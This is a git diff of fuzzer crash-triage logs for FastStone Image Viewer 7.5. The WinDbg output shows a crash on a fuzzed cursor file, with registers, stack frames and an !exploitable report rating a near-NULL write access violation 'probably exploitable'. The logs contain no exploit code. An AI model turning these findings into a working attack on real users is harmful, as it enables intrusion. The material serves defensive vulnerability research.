C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(11d0.1fb4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.26061e+009 -9.44837e-016 -1.09029e+023 1.61814e-011 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003bb000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003bb000 49cdf9c1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003bb000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7a46609 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..702a041 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..c810666 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x13EC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x13EC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(13ec.1a70): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07f97b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.774824048985130080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.506110000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.81247e-028 -191.302 -1.19099e+030 2.89941e-034 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08078130 07ff5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0023e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0023e000 0eef1a27 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6293 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0023e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..c810666 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x13EC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x13EC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 